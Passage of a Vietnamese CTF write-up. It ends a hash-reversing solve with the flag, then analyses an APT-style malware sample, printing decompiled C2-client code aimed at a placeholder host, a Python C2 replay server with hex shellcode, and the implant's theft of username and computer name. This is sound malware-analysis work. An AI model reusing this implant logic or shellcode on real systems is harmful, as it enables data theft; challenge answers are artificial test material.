992], [-335, 672, -462, -366, -663, 392, 928, -20, -572, -237, -697, 854, 146, 922, 764, 402, 993, 243, -857, -362, 620], [-74, -758, 535, 210, 372, -888, 633, -134, 657, -203, -245, -844, -562, 519, 589, -908, -111, 855, 986, 535, 782], [-638, -618, 94, 33, -668, 102, -869, 135, -135, 267, -439, 620, -408, -832, -688, 893, 937, 630, 536, -213, 214], [-460, -596, -141, 640, 547, 854, -984, -806, -1017, 812, -366, 72, 1000, -467, 579, -84, 269, 175, -846, -879, -356], [-739, 529, -545, -1014, -714, 181, 840, -787, 57, -86, 344, 599, -996, 694, -627, 606, 768, -492, -352, 355, 333], [-748, -606, -176, 153, -926, 778, -716, 175, 978, 514, 669, -368, -194, 723, -897, -78, 370, -271, -616, 123, -184], [-341, -818, -502, 660, -856, -675, 359, 855, 151, 594, -521, -768, -866, 44, 637, -282, -998, 919, -370, -427, 829], [-865, -727, -121, 464, 436, -1004, 943, -62, -239, -796, -806, -930, 811, 301, -138, -371, 175, 684, -31, -446, 975]]
Y = [-622472985781, 443256199922, 4804862013484, -1990292653755, 1716071043623, 2612697655413, 2853361699824, -8094556971432, -1289445257418, -1552556399857, 6101836644339, -3508582733213, -1821100477986, -6183692404382, -581895255209, 311783905729, -1403558929228, 948885246100, 3711633763399, -1222346925610, -2460365508509]
X = matrix(ZZ, X)
Y = vector(Y)
A = X.solve_right(Y)
assert X*A == Y
print(A)
Sau khi tính toán được thì ta có kết quả của ma trận [1x21] như sau:
-831904645, 842869369, -1872719316, 1874430657, 1643673264, 842869369, -224886681, 51900271, 1261422793, 1041996681, 1470239221, -532720492, -1467227862, -288608497, -1819333551, -356927857, -47355757, -1525362217, 2055041019, -986512317, 72314917
Việc cuối cùng của ta bây giờ là brute-force dựa trên charset đã có, vì hàm hash_64_fnv1a
có sẵn trong python rồi nên ta không phải code lại nó nữa mà chỉ việc gọi nó ra thôi
from ctypes import *
from fnvhash import fnv1a_64
charset = b"!_acdefghilmnoprstuwy"
check = [-831904645, 842869369, -1872719316, 1874430657, 1643673264, 842869369, -224886681, 51900271, 1261422793, 1041996681, 1470239221, -532720492, -1467227862, -288608497, -1819333551, -356927857, -47355757, -1525362217, 2055041019, -986512317, 72314917]
for i in range(21):
for a in charset:
for b in charset:
for c in charset:
for d in charset:
if c_int32(fnv1a_64((chr(a) + chr(b) + chr(c) + chr(d)).encode())).value == check[i]:
print(((chr(a) + chr(b) + chr(c) + chr(d)).encode()).decode(),end="")
#may_the_lanterns_of_the_lunar_new_year_light_up_your_path_to_success_and_happiness!!
Advanced Persistent Threat
Trước tiên mình xem thư mục Sample
trước, thấy có 1 con PE và 1 con DLL. Mình xem con PE trước thì nó chỉ có 3 hàm, và nó gọi 1 hàm tên là ServiceCtrMain
Trong con PE:
Trong con DLL:
Hàm sub_10001060
:
Hàm sub_1000110D
:
Hàm sub_1000110D
là mã hóa RC4, 1 loại mã hóa đối xứng phổ biến, bạn có thể xem mã nguồn của nó ở bất kì đâu trên github hoặc tại đây
Mình thấy ở đây, nó mở file AmMonitoringProvider.mof
rồi decrypt, thì ta để ý ở đây, biến v1
được gán cho giá trị trả về của hàm sub_10001060
mà giá trị của hàm sub_10001060
trả về lại là địa chỉ của 1 vùng nhớ nào đó. Mình quyết định nhảy tới xem nó là gì. Thì nó lại jump tới 1 địa chỉ khác. Tại địa chỉ đó có 1 hàm check signature của 1 file nào đó (khả năng cao là 1 con dll khác).
Nên mình quyết định phân tích tiếp từ đó, ở ngay bên trên đó có 1 đoạn base64 trông khá là khả nghi, mình thử decode thì nó ra như này :D
Okay, giờ tiếp tục phân tích hàm có đoạn check signature, mình debug 1 hồi, thì thấy các hàm được call ở kia không quan trọng lắm, cho đến khi mình thử debug qua đoạn biến v30
thì bị crash, mình tiến hành thử debug lại xem nó crash ở đoạn nào
Khi mình cho chương trình chạy qua hàm sub_E42AA2
, thì chương trình vẫn không sao, vậy thì hàm sub_E428C2
sẽ khiến ta bị crash. Mình tiến hành đi vào trong hàm đó phân tích tiếp
Thì ở trong hàm sub_E41CE6
có 1 thứ khá thú vị như sau
Nó lại gọi lại 1 hàm giống như hàm LineDDA như ở bên ngoài 1 lần nữa, đây là lý do làm cho ta bị crash. Mình lại vào đó để phân tích hàm sub_E41D4B
Nên mình quyết định dump ra 1 con dll mới đế tiến hành debug tiếp cho tiện, vì flow trước đó cũng chỉ có vậy.
Con dll được dump ra:
Trông đống array kia giống như 1 struct, nên mình tạo struct trước, debug, và qua nhiều lần thì mình có tạo struct cho dễ nhìn như sau
void __stdcall __noreturn Proc(int a1, int a2, LPARAM a3)
{
struc_1 *v3; // edi
struc_2 *v4; // edx
int v5; // eax
_DWORD *v6; // esi
_DWORD *v7; // eax
char *v8; // [esp-Ch] [ebp-5Ch] BYREF
size_t v9; // [esp-8h] [ebp-58h]
struc_1 v10; // [esp+10h] [ebp-40h] BYREF
void *Block; // [esp+30h] [ebp-20h]
const void *v12[6]; // [esp+34h] [ebp-1Ch] BYREF
int v13; // [esp+4Ch] [ebp-4h]
if ( !pAPI )
{
v10.memset = (int)memset;
v3 = (struc_1 *)operator new(0x1Cu);
v10.memcpy = (int)memcpy;
v10.malloc = (int)malloc;
pAPI = (int)v3;
v10.GetProcAddress = (int)GetProcAddr;
v10.send = (int)SeemLikeSend;
v10.___ = 0;
v10.free = (int)free;
qmemcpy(v3, &v10, sizeof(struc_1));
}
if ( !pHOST )
{
v4 = (struc_2 *)operator new(0x24u);
Block = v4;
memset(v4, 0, sizeof(struc_2));
v4->host = (int)"totally-not-malicious-host.local";
v4->port = 1337;
v5 = pAPI;
v4->connecting = 0;
v4->field_8 = 0;
v4->field_C = 0;
v4->XTEAenc = 0;
v4->XTEAdec = 0;
v4->LZNTenc = 0;
v4->LZNTdec = 0;
v4->pAPT = v5;
pHOST = v4;
}
if ( !dword_74CD7520 )
{
v6 = operator new(8u);
Block = v6;
v13 = 0;
v9 = 24;
*v6 = 0;
v6[1] = 0;
v7 = operator new(v9);
v13 = -1;
*v7 = v7;
v7[1] = v7;
v7[2] = v7;
*((_WORD *)v7 + 6) = 257;
*v6 = v7;
dword_74CD7520 = (int)v6;
}
while ( 1 )
{
if ( (unsigned __int8)check_connection() )
{
while ( pHOST->connecting )
{
Sleep(0xAu);
memset(v12, 0, 12);
sub_74CD1467(v12);
v13 = 1;
sub_74CD23AC((int *)&v8, v12);
sub_74CD1E9F(v8, (char *)v9);
v13 = -1;
sub_74CD16B7(v12);
}
}
Sleep(0x7530u);
}
}
Vì có hàm check_connection, tức là ta sẽ phải tiến hành gửi data thì ta mới tiếp tục debug được. Mình mô phỏng lại quá trình mình gửi gói tin như sau
import socket
def handle_client(client_socket):
# Sequence of messages to send
messages = [
"bebafeca0e0000000461647661706933322e646c6c00",
"bebafeca79020000010000000050010000558bec83ec14837d0c005356570f842f0100008b7d1485ff0f84240100008b45108bc88d50188955fc83e107760cb8080000002bc103d08955fc8b451839100f82fd0000008b7508526a00578b460cffd0ff75108b46108d5f18ff750c895d0853ffd08b0683c41868ac6f920268bc99e10effd085c00f84c60000006a108d4dec51ffd08b45fc83c0e803c389450c3bd8736a8b3333c08b7b048d58400f1f008bd78bcfc1e104c1ea0533d18bc883e10303d78b4c8dec03c82d4786c86133d103f28bd68bcec1e104c1ea0533d18bc8c1e90b03d683e1038b4c8dec03c833d103fa83eb0175b98b5d088933897b0483c308895d083b5d0c72998b7d148b45108947048b45ec3541455458c707414554588947088b0f8b45f0354145545889470c8bc13345f4334df8894f148b4d188947108b45fc5f5e8901b0015b8be55dc214005f5e32c05b8be55dc21400cccccc558bec8b4d0c83ec14535685c90f84f80000008b5d1485db0f84ed0000008b45108d50e8f6c2070f85de0000008b451839100f82d30000008b3181fe414554580f85c50000003951040f87bc0000008b410833c68945ec8b410c33c68945f08b411033c68945f48b411483c11833c6894d108945f88d04118945fc3bc87377578b01be406ede8d8903bb400000008b79048bd08bc8c1e104c1ea0533d18bcec1e90b03d083e1038b4c8dec03ce81c64786c86133d12bfa8bd78bcfc1e104c1ea0533d18bce83e10303d78b4c8dec03ce33d12bc283eb0175b88b5d148b4d1083c108894d108903897b0483c308895d143b4dfc728b5f8b450c8b4d185e5b8b40048901b0018be55dc214005e32c05b8be55dc21400cccccccccccccccccccccc",
"bebafeca28000000414554580b00000001fb78a72167016c973955e4162d0c6a8724fcfccb3d122158ff757d46772101",
"bebafeca580100004145545839010000b54fb16fb069d5f6aa74bfce1e7acadfff39c559031103c32d29296582588c894d17fc54eaf5d75e634b48c52a37fa1692c135b8ec566eada9b292ee81b7f96ecc2bd0006935b5561d0f487fb0449f2a7195c5a5cfa3e381a949f62f49f58eabfd959aa0b33589f58f4932dc0032ad91e0ed74b83c07d5dbce2312d333f5ab2fe12ce4386bd7614a7e10220bce11f5cfbab18a03ddac1e01968da4c488c06e20131a953235e0267d85b5a773142500a002826633c6977d018f8b085f327c7f38d1d59838e891e7cf1779cacca0ce5f6df615ee5202e242f3b0a94a5102ac4c984c9723b52a4f03405fdfd3883d11e3a02b65dd5c4195a4dbc543405663a59b44c3c1a87168d883005d70325fbeaeb9aef25dab01198a5146d396a68794e0290ac6d77bff051916f57a01b0e6fc995322ea57fd5a429709b2ea42737e22162cb84c9723b52a4f03405cde09ebfefc5628",
"bebafeca3000000041455458140000000fea624ac93abb804b4a97254af779a8804db01a96fce8c5af4e0a9e09c3a50c06b9f8596f296075",
"bebafeca30000000414554581400000035ab9bdf6a0556fddd0c3cafa03d320dd0a52d3f7c3f4b69d10dde2b96cd65fdb14905e21f659937",
"bebafecae804000041455458cb040000557f5fc8a5d8ee06232f1ce068e0d2e4da0a9c094328183490bfa7d4b8f994c8b059eda20c72fac325cd1bb4a5bcb180c8d68b9e291b44da1ffefe585f8fef243cc81ae887615daea121e53c82c1b0d0a0684c05845ceb86c20226f12a5745d07eb697aa342c6825cd1b26c7414595acb078b3e95f6c11a659bebc075060f7400ad1d77b3c9f72c7c5e8668fef29f0a992407bb1f61666f8247df4e24ddeb7c6b1c531f58e14ad8de9f6961b40f4b13abd2dea746286f2d9ab21a0a22f79963ab078b3e95f6c11a659bebc075060f7400ad1d77b3c9f72c76ae6203b9de7d25aa8d996a003fd555c801ad904dc8b5145b1c531f58e14ad8de9f6961b40f4b13a8390dce88595215d9fc3f6a53e7e5dc4a1ae436e7194fa171d10675958f449a5bdd72c6e6b4112cf971cdc6c74e4f7d0a1820da3b327e3e95862a4d9ae0da97a98ff9c181d2d2a73f90744cb89b6e9bcd5e617961b8dfa799803fcc2525bd4ee480a4c85dfc9a7b1a415a91934db613f75365189c660d89fff78ee265334adf7096fdd9299b74150dd57a911d42b889d1f344ef0bbd8cc18f05089f5fa895bc2127e9ffc4cb04e3fe9dffc51afa0dc2492200013647b680d4423a12d94d482be92d6d5e8a08158d723392c359e1a988c120766523b0240d21e07e4cb7d4c4736d88fada37ee0f722ed4c998f842fbddbae1aa78b315fca7ab3f205ebcf9d9425b86eae94cb1f8233171c833e37bef32a440a7978921e57803878702132a88d1a6fed972f626a43cb8ed0ef500e5eee420255c617908f0a97a5110529f7ea48a511b667453d8bc0ea589c2c5cb11a759487838046c0e4b04eb39a11d297970bbdd5b9a5dcc196395cc59bf840a48134b4ba4ab7c3e53d78d3b4a3df8c3c9d7cbfecda338b51ea6210809dee80235d053bdecab9b98dde65df447269613290c780a91e3aa45e50aed5a48fccdf1b25ae83fabd889f4ae5cbf9a753173a0dcda48b8b5e6fef704dafc40912de96a0d9449da55c1711d1c7ced7aee913afcaed4b21e7cc286a80a9fc9000e0ed48d29a62d9a8214391ecc92723bc33f36acecd2959c542bf7290275fd107507d298aa79e5c1b12b140cca7fc696183115473667b1bca08c1ce82ed83e38dc26da9458770e178b41229cb349fce26bbf7c3819eb0e95390dac738a575e9b0ca184ae8cd5f444c3b6a906d6e99b79b09b1c07f0c5988e43307d9bd1ad5ebf5e7871c97d0f6b23fd1bf84968b608436fedf13b674e668e7f61d385164fba436d1169a58129106748398868507b9a00c9071a91eea08891fca5de6e871f9b928351be45d4650771f85d778b002cd840558204e98f5f9777cf9c6d967fdf7bb4355978e523d682d17b6e5b1fdec5cee68c17f0af81e263200089838ce6fd2f116fedd01a900932d960107eef590a06c5b4252c041fbb131d653c07a4a11e26fbbf968baff1b1e081cbc6579e9b54a367483a9d87194ef2603c797c8ad913a40ca4bde0abdbecffd26d46014981a623a0386467bb9aca3bda464af2c8df9bfefad94d7e79cc97cba419a84594171829ac12a411856c1f2e28aee09848a6e2234dce3340fdeb1c03d9b4343886cdbd91601c2e4830e4607bd97062b92b2c1927ced3c39729f20eeae41e8c0c7ae32613a9081c71edfd5f2528dd9cd8b56a352212f251d12b34085f812adbc8bb919d29b298d21a9570c21eb34cfa218051b5bd5fb8078b125b31bfa703c067e57b0bc9896072bd75436c715",
"bebafeca28000000414554580c000000a3a12c0401f558f0759f7c50a64c6f666a7c7dcd42251c4d8bbbc5e8cd02bdef",
"bebafeca28000000414554580c000000d5142bbf3005d1d1ddd2185c6e4c3f92195a4ddfc763c88398fdb87df9e654cc",
"bebafeca58000000414554583d00000044695bc5a9e71e0b4a95a72643b607059e25b0f139d4eab186ed8d56bfd9c458662db2e3fb5a8b5f6db44143c092d9a0b911d798eab2a2d30c8eabd811189fe83b55efdf40aba58724f9bd065e7c4dd0",
]
message_index = 0
while message_index < len(messages):
messagehex = messages[message_index]
message = bytes.fromhex(messagehex)
client_socket.send(message)
print(f"Sent message: {messagehex}")
message_index += 1
# Receive response
response = client_socket.recv(1024)
print(f"Received response: {response.hex()}")
client_socket.close()
def main():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', 1337))
server_socket.listen(1)
print("Server is listening for incoming connections...")
while True:
client_socket, addr = server_socket.accept()
print(f"Accepted connection from: {addr}")
handle_client(client_socket)
if __name__ == "__main__":
main()
Các biến messages ở kia là data được gửi từ port 1337
như mình thấy trong chương trình, nhưng trước khi cho chay, ta phải cho client nhận diện được server. Ta sẽ phải thêm host như sau
Cách hoạt động của việc trao đổi qua lại các gói tin và cách thức file được mã hóa
Mình sẽ chia các gói tin thành 4 loại:
Cái gì đó mình cũng không rõ lắm: Nhưng trông như load lib và mem
Shellcode: Shellcode cho việc mã hóa, mỗi gói tin shellcode sẽ bao gồm cả hàm mã hóa và hàm giải mã. Mỗi khi shellcode mã hóa được load vào, các gói tin sau sẽ sử dụng hàm mã hóa và giải mã đã được load vào để phục vụ cho việc trao đổi
Request: Yêu cầu gì gửi cái đó, sau khi các gói tin shellcode được gửi lên hết
File + key dùng cho việc mã hóa: Do phân tích mình thấy nó sử dụng key, và trông nó giống với mã hóa dòng khi đọc src. Thêm với việc mình dùng ciphertext + key cho chạy qua hàm mã hóa thì ra được plaintext, giống với RC4 nên mình để tên nó là RC4 cho dễ gọi
Luồng chạy cơ bản của chương trình
Chương trình sẽ gửi các gói tin có dạng như bebafeca28000000414554580b00000001fb78a72167016c973955e4162d0c6a8724fcfccb3d122158ff757d46772101
. Sau khi nhận được data, chương trình sẽ kiếm tra xem có đúng định dạng của gói tin hay không qua signature là 0xCAFEBABE
Tiếp theo chương trình sẽ lấy size của đoạn data không tinh 4 byte signature và 4 byte chỉ đổ lớn
Và đoạn recv cuối cùng sẽ lấy đoạn data sau cùng trông như này
Sau khi chia ra được 3 phần như vậy rồi. Chương trình sẽ tiền hành giải mã gói tin(tùy thuộc vào thời điểm gói tin được gửi. Như trong trường hợp này thì chỉ giải mã XTEA
).
Tiến hành giải mã xong, chương trình sẽ cấp phát 1 vùng nhớ để chứa địa chỉ được gán cho data mà mình vừa nhận được thông qua hàm sau(Nói chung hàm này mình không thấy nó có gì quan trọng lắm)
Sau đó chương trình thực hiện quá trình xử lý để gửi đi. Ở trong hàm này có 5 option cho ta chọn
Tùy vào mỗi gói dữ liệu khác nhau sẽ nhảy vào các option khác nhau.
Tiến hành mã hóa, add size, add signature và gửi trả
Tiến hành mã hóa các kiểu
Add size, add signature và gửi đi
Phân tích các gói tin
Gói tin thứ 1, có nội dung là advapi32.dll
. Đây là loại 1 mình đã phân loại
Tiếp theo chương trình đi vào hàm xử lý để trả về cho host
Ở đây chương trình chạy vào option số 4 cho ta để dữ liệu được trả về, do ở đây ta chưa load shell mã hóa nên ta gửi gì thì nhận lại cái đó
Gói tin thứ 2 là shellcode của mã hóa XTEA, bao gồm cả thuật toán mã hóa và giải mã
Thuật toán mã hóa được dùng để mã hóa khi gửi gói tin đi:
char __stdcall sub_A72FE1(int a1, int a2, int a3, _DWORD *a4, unsigned int *a5)
{
int *v5; // edi
unsigned int v6; // edx
int v7; // ecx
unsigned int *v9; // ebx
void (__stdcall *v10)(int *, int); // eax
unsigned int v11; // esi
unsigned int v12; // eax
unsigned int v13; // edi
int v14; // ebx
unsigned int v15; // ecx
int v16; // eax
int v17; // ecx
int v18; // eax
int v20[4]; // [esp+Ch] [ebp-14h] BYREF
unsigned int v21; // [esp+1Ch] [ebp-4h]
unsigned int *v22; // [esp+28h] [ebp+8h]
unsigned int v23; // [esp+2Ch] [ebp+Ch]
if ( !a2 )
return 0;
v5 = a4;
if ( !a4 )
return 0;
v6 = a3 + 24;
v21 = a3 + 24;
v7 = a3 & 7;
if ( (a3 & 7) != 0 )
{
v6 += 8 - v7;
v21 = v6;
}
if ( *a5 < v6 )
return 0;
(*(void (__thiscall **)(int, _DWORD *, _DWORD, unsigned int))(a1 + 12))(v7, a4, 0, v6);
v9 = a4 + 6;
v22 = a4 + 6;
(*(void (__cdecl **)(_DWORD *, int, int))(a1 + 16))(a4 + 6, a2, a3);
v10 = (void (__stdcall *)(int *, int))(*(int (__stdcall **)(int, int))a1)(249665980, 43151276);
if ( !v10 )
return 0;
v10(v20, 16);
v23 = (unsigned int)a4 + v21;
if ( v9 < (_DWORD *)((char *)a4 + v21) )
{
do
{
v11 = *v9;
v12 = 0;
v13 = v9[1];
v14 = 64;
do
{
v15 = v12 + v20[v12 & 3];
v12 -= 1640531527;
v11 += v15 ^ (v13 + ((16 * v13) ^ (v13 >> 5)));
v13 += (v12 + v20[(v12 >> 11) & 3]) ^ (v11 + ((16 * v11) ^ (v11 >> 5)));
--v14;
}
while ( v14 );
*v22 = v11;
v22[1] = v13;
v9 = v22 + 2;
v22 = v9;
}
while ( (unsigned int)v9 < v23 );
v5 = a4;
}
v5[1] = a3;
v16 = v20[0] ^ 'XTEA';
*v5 = 'XTEA';
v5[2] = v16;
v17 = *v5;
v5[3] = v20[1] ^ 'XTEA';
v18 = v20[2] ^ v17;
v5[5] = v20[3] ^ v17;
v5[4] = v18;
*a5 = v21;
return 1;
}
Thuật toán dùng để giải mã khi nhận gói tin và đọc:
char __stdcall sub_A73131(int a1, _DWORD *a2, int a3, unsigned int *a4, unsigned int *a5)
{
unsigned int *v5; // ebx
unsigned int v6; // edx
unsigned int *v7; // ecx
unsigned int v8; // eax
unsigned int v9; // esi
int v10; // ebx
unsigned int v11; // edi
unsigned int v12; // ecx
int v14[4]; // [esp+8h] [ebp-14h]
unsigned int v15; // [esp+18h] [ebp-4h]
unsigned int v16; // [esp+2Ch] [ebp+10h]
if ( !a2 )
return 0;
v5 = a4;
if ( !a4 )
return 0;
v6 = a3 - 24;
if ( (((_BYTE)a3 - 24) & 7) != 0 || *a5 < v6 || *a2 != 'XTEA' || a2[1] > v6 )
return 0;
v14[0] = a2[2] ^ 'XTEA';
v14[1] = a2[3] ^ 'XTEA';
v14[2] = a2[4] ^ 'XTEA';
v7 = a2 + 6;
v16 = (unsigned int)v7;
v14[3] = a2[5] ^ 'XTEA';
v15 = (unsigned int)a2 + v6 + 24;
if ( v7 < (unsigned int *)((char *)v7 + v6) )
{
do
{
v8 = *v7;
v9 = -1914802624;
*v5 = *v7;
v10 = 64;
v11 = v7[1];
do
{
v12 = v9 + v14[(v9 >> 11) & 3];
v9 += 1640531527;
v11 -= v12 ^ (v8 + ((16 * v8) ^ (v8 >> 5)));
v8 -= (v9 + v14[v9 & 3]) ^ (v11 + ((16 * v11) ^ (v11 >> 5)));
--v10;
}
while ( v10 );
v16 += 8;
v7 = (unsigned int *)v16;
*a4 = v8;
a4[1] = v11;
v5 = a4 + 2;
a4 += 2;
}
while ( v16 < v15 );
}
*a5 = a2[1];
return 1;
}
Trong hàm xử lý để gửi trả phản hồi, chương trình chạy vào option số 1. Thêm với việc thực hiện mã hóa XTEA vừa được load để mã hóa kết quả rồi gửi lại phản hồi cho host. Trong hàm nãy lấy key ngẫu nhiên từ hàm cryptbase_SystemFunction036
Khi nhận được gói tin thứ 3, trước hết chương trình sẽ tiến hành giải mã, vì ở gói tin trước ta đã load shellcode thực hiện giải mã XTEA khi nhận gói tin và mã hóa XTEA khi gửi, nên chương trình sẽ giải mã nó ra cho ta đọc trước rồi mới tiến hành tuần tự như gói tin trước.
Dữ liệu sau khi được giải mã
Gói tin thứ 4 lại là shellcode, lần này chứ thuật toán mã hóa và giải mã LZNT1
Mã hóa LZNT1
char __stdcall sub_DD3A89(int (__stdcall **a1)(int, int), int a2, int a3, _DWORD *a4, _DWORD *a5)
{
int (__stdcall **v5)(int, int); // esi
int (__stdcall *v6)(int, int, int, _DWORD *, int, int, int *, int); // ebx
int (__stdcall *v7)(int, int (__stdcall ***)(int, int), char *); // eax
int v8; // eax
int v9; // edi
_DWORD *v11; // ecx
char v12[4]; // [esp+Ch] [ebp-8h] BYREF
int v13; // [esp+10h] [ebp-4h] BYREF
v5 = a1;
v6 = (int (__stdcall *)(int, int, int, _DWORD *, int, int, int *, int))(*a1)(0x37AC0DEC, 0x4A1C450C);
v7 = (int (__stdcall *)(int, int (__stdcall ***)(int, int), char *))(*v5)(0x37AC0DEC, 0x8FC8E20);
if ( !v6 )
return 0;
if ( !v7 )
return 0;
if ( v7(258, &a1, v12) >= 0x8000000 )
return 0;
v8 = ((int (__cdecl *)(int (__stdcall **)(int, int)))v5[5])(a1);
v9 = v8;
if ( !v8 )
return 0;
if ( v6(258, a2, a3, a4 + 1, *a5 - 4, 4096, &v13, v8) >= 0x8000000 )
{
((void (__cdecl *)(int))v5[6])(v9);
return 0;
}
v11 = a5;
*a4 = 'LZNT';
*v11 = v13 + 4;
((void (__cdecl *)(int))v5[6])(v9);
return 1;
}
Hàm giải mã
char __stdcall sub_DD3B59(int (__stdcall **a1)(int, int), _DWORD *a2, int a3, int a4, _DWORD *a5)
{
_DWORD *v5; // esi
int (__stdcall *v6)(int, int, _DWORD, _DWORD *, int, _DWORD **); // eax
_DWORD *v7; // ecx
_DWORD *v8; // esi
v5 = a2;
if ( *a2 != 'LZNT' )
return 0;
v6 = (int (__stdcall *)(int, int, _DWORD, _DWORD *, int, _DWORD **))(*a1)(934022636, 1259364965);
v7 = v5 + 1;
v8 = a5;
if ( v6(2, a4, *a5, v7, a3 - 4, &a2) >= 0x8000000 )
return 0;
*v8 = a2;
return 1;
}
Sau khi vào hàm xử lý, chương trình nhảy vào option default
Lần này trước khi gửi đi thì nó thực hiễn mã hõa LZNT1
trước như sau
Bên trong hàm mã hóa LZNT1
nó thực hiện gọi 2 hàm lần lượt là ntdll_RtlCompressBuffer
và ntdll_RtlGetCompressionWorkSpaceSize
Tiếp đến nó lại mã hóa đống data vừa được mã hóa bằng LZNT1
bằng mã hóa XTEA
rồi sau đó lại trả về kết quả cho ta
Gói tin thứ 5 sau khi được giải mã XTEA
rồi đến giải mã LZNT1
thì có nội dụng như sau
Nội dụng sau khi được giải mã XTEA
Nội dụng sau khi được giải mã hoàn toàn giống với nội dụng của gói tin đầu tiên
Sau đó kết quả lại được mã hóa LZNT1
rồi đến mã hóa XTEA
để gửi trả.
Gói tin thứ 6 có nội dung cũng không có gì lắm sau khi được giải mã
Ta sẽ bỏ qua nó luôn để đến với gói tin thứ 7 là đoạn shellcode dài nhất. Nhưng khi mình xem thử nó là gì sau khi giải mã XTEA
rồi đến LZNT1
thì trông nó như sau
Trông có vẻ như nó vẫn còn 1 lớp mã hóa nữa thì mới có thể đọc được, để đọc được t cần phải trace xem nó được gọi lúc nào là được.
Tiếp theo xem trong hàm xử lý dữ liệu trả về xem nó có làm gì khác không
Lần này chương trình chạy vào option thứ 2, trong này nó vẫn sử dụng mã hóa LZNT1
rồi đến mã hóa XTEA
để mã hóa rồi gửi trả.
Gói tin thứ 8 sau khi tất cả các shellcode đã được load, dù ta chưa biết gói tin shellcode thứ 3 nó là gì, thì gói tin này sẽ chứa request mà ta yêu cầu
Nội dung của gói những gói tin này sau khi giải mã xong mình lại không đọc được, không biết do sao, nhưng mình kệ cho nó chạy tiếp vào hàm response xem sao.
Lần này nó đã chạy vào option thứ 3
Ở trong này nó gọi 1 hàm mà mình không biết nó là hàm gì, nên mình đặt 1 breakpoint ở đây xem sao, mình thấy nó là 1 đoạn shellcode khá dài, nên mình nghĩ đây sẽ là code sau khi được giải mã ở gói shellcode thứ 3 mà nãy ta không đọc được
int __stdcall sub_B20000(int a1, int a2, _BYTE *a3, int a4)
{
int result; // eax
int v5; // esi
int (__stdcall *v6)(int, int); // eax
void (__stdcall *v7)(char *, int *); // eax
int v8; // eax
int (__stdcall *v9)(int, int); // eax
void (__stdcall *v10)(char *, int *); // eax
char v11; // [esp+4h] [ebp-108h] BYREF
int v12; // [esp+5h] [ebp-107h]
char v13[259]; // [esp+9h] [ebp-103h] BYREF
if ( !*a3 )
{
v5 = a1;
(*(void (__cdecl **)(char *, _DWORD, int))(a1 + 12))(&v11, 0, 261);
v9 = *(int (__stdcall **)(int, int))v5;
a1 = 256;
v10 = (void (__stdcall *)(char *, int *))v9(249665980, 1071500813);
if ( v10 )
v10(v13, &a1);
v12 = a2;
v8 = a1 + 4;
goto LABEL_11;
}
if ( *a3 == 1 )
{
v5 = a1;
(*(void (__cdecl **)(char *, _DWORD, int))(a1 + 12))(&v11, 0, 261);
v6 = *(int (__stdcall **)(int, int))v5;
a1 = 256;
v7 = (void (__stdcall *)(char *, int *))v6(483040486, 129557701);
if ( v7 )
v7(v13, &a1);
v12 = a2;
v8 = a1 + 5;
LABEL_11:
v11 = 3;
return (*(int (__stdcall **)(char *, int))(v5 + 4))(&v11, v8);
}
result = (unsigned __int8)*a3 - 2;
if ( *a3 == 2 )
return sub_B20280(a2, (int (__stdcall **)(int, int))a1, a3 + 1);
return result;
}
Lúc này chương trình chạy vào luồng sau, thực hiện gọi hàm GetUserNameA
để lấy đi tên người dùng, khi mình cho chạy qua thì nó trả ra đúng username của mình
Rồi chương trình lại tiếp tục mã hóa 2 lần rồi gửi phản hồi cho ta. Từ đây ta cũng biết được rằng là server yêu cầu gửi username của nạn nhân
Gói tin thứ9 cũng là 1 request như gói tin thứ 8 không biết lần này nó sẽ yêu cầu gì , data sau khi được giải mã vẫn không đọc được
Sau đó chương trình lại chạy vào hàm này
Lần này chương trình thực hiện gọi hàm GetComputerNameA
, rồi cũng tương tự như mọi lần, mã hóa 2 lần rồi gửi trả cho ta. Ở đây ta cũng biết được rằng server yêu cầu tên máy của nạn nhân
Gói tin cuối cùng
Lần này sau khi giải mã thì nó chứa 1 chuỗi gì đó có thể là dùng cho việc mã hóa
Lần này nó chạy vào 1 hàm mới bên trong hàm có 2 hàm GetName
int __usercall sub_B20280@<eax>(int a1@<edx>, int (__stdcall **a2)(int, int)@<ecx>, char *a3)
{
int (__stdcall **v3)(int, int); // ebx
int (__stdcall *v4)(int, int); // eax
void (__stdcall *v5)(_BYTE *, int *); // eax
int (__stdcall *v6)(int, int); // ecx
void (__stdcall *v7)(_BYTE *, int *); // eax
int (__stdcall *v8)(int, int); // ecx
int (__stdcall *v9)(int, int, _DWORD, _DWORD, int *, int); // eax
int (__stdcall *v10)(int, int); // ecx
int (__stdcall *v11)(int, int, _DWORD, _DWORD, int *, int); // edi
int (__stdcall *v12)(int, _DWORD, int, _DWORD, _DWORD, int *); // eax
int (__stdcall *v13)(int, int); // ecx
int v14; // eax
int (__stdcall *v15)(int, int); // ecx
void (__stdcall *v16)(int); // esi
int (__stdcall *v17)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // eax
int (__stdcall *v18)(int, int); // ecx
int (__stdcall *v19)(int, _DWORD); // eax
int (__stdcall *v20)(int, int); // ecx
void (__stdcall *v21)(_DWORD); // ecx
char v22; // al
int v24; // eax
int v25; // ebx
int (__stdcall *v26)(int, _DWORD, int, _DWORD, _DWORD, int *); // eax
int v27; // esi
char v28; // cl
char *v29; // edi
_BYTE *v30; // esi
_BYTE *v31; // esi
int v32; // eax
int (__stdcall **v33)(int, int); // esi
bool v34; // al
int (__stdcall *v35)(int, int); // ecx
int (__stdcall *v36)(int, int); // eax
char v38; // [esp+Ch] [ebp-3Ch] BYREF
int v39; // [esp+Dh] [ebp-3Bh]
char v40; // [esp+11h] [ebp-37h]
int v41; // [esp+14h] [ebp-34h]
void (__stdcall *v42)(int); // [esp+18h] [ebp-30h]
void (__stdcall *v43)(_DWORD); // [esp+1Ch] [ebp-2Ch]
int (__stdcall *v44)(int, int, _DWORD, _DWORD, int *, int); // [esp+20h] [ebp-28h]
void (__stdcall *v45)(_BYTE *, int *); // [esp+24h] [ebp-24h]
void (__stdcall *v46)(_BYTE *, int *); // [esp+28h] [ebp-20h]
int (__stdcall *v47)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // [esp+2Ch] [ebp-1Ch]
int (__stdcall *v48)(int, _DWORD, int, _DWORD, _DWORD, int *); // [esp+30h] [ebp-18h]
int (__stdcall *v49)(int, _DWORD); // [esp+34h] [ebp-14h]
int v50; // [esp+38h] [ebp-10h] BYREF
int v51; // [esp+3Ch] [ebp-Ch] BYREF
int (__stdcall **v52)(int, int); // [esp+40h] [ebp-8h]
bool v53; // [esp+47h] [ebp-1h]
